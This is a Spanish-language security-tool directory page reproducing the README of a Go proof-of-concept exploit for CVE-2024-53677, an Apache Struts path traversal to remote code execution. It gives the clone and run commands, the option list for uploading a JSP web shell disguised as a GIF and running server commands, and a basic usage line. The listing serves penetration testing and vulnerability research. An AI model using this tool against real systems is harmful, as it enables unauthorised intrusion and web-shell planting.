Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-53677-POC — a proof of concept of CVE-2024-53677 | Kitploit
Herramientas/GitHubGitHub/cythonic1/cve-2024-53677-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubcythonic1/cve-2024-53677-poc

CVE-2024-53677-POC

a proof of concept of CVE-2024-53677

Ver Repositorio
1hace 11 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-53677

Una vieja vulnerabilidad que afecta a Apache Struts provocando LFI y ejecución remota.

Puedes consultar más información sobre la vulnerabilidad en este excelente blog.

Apache Struts path traversal → RCE (CVE-2024-53677)

Uso del POC

He dedicado mucho tiempo a hacer esto lo más personalizable posible porque cuando me encontré por primera vez con este CVE no encontré una buena fuente que lo implementara correctamente. La mayoría de las banderas tienen valores por defecto, así que no te desanimes con todas estas banderas.

root@kitploit:~
git clone https://github.com/Cythonic1/CVE-2024-53677-POC
cd  CVE-2024-53677-POC
go run . -h
root@kitploit:~

  -command string
        command to execute on the server default: whoami
  -end-point string
        post endpoint default to: upload.action
  -file-location string
        where to save the file into the server default: what test function return
  -lfi-param string
        Parameter name for LFI testing default: top.UploadFileName
  -payload-file string
        Path to the payload file default: ./shell.jsp
  -payload-file-name string
        name of the payload it self default: shell.jsp
  -payload-param string
        Parameter name for payload injection default: Upload
  -test-file-name string
        name of the testfile it self default: testfile.txt
  -testing-file string
        File used for testing default: ./testfile.txt
  -url string
        Target base URL (format http://strutted.htb/) do not forgot the [/] at the end

Todos estos comandos tienen valores por defecto. También implementé una función de prueba para verificar dónde se debería colocar el archivo, y también es una opción configurable por el usuario.

Uso básico

root@kitploit:~
go run .  -url http://127.0.0.1:8080/ -end-point upload.action

NOTAS.

Algunas cosas a tener en cuenta.

  1. El payload por defecto está en formato GIF y el tipo de contenido es gif; si es necesario cambiarlo, esta es la única opción donde tienes que modificar el código.
  2. La función de prueba puede producir suposiciones incorrectas, así que no confíes al 100% en ella.
  3. Puede que necesites ejecutar el exploit más de una vez, al menos dos veces, porque noté que la primera vez que se subió el payload no se encontró en la siguiente solicitud. Así que tenlo en cuenta.

Contribuciones.

Siéntete libre de modificar o añadir al exploit ♥️.

Recursos.

Imagen Docker vulnerable Más información sobre el exploit

Descargar herramienta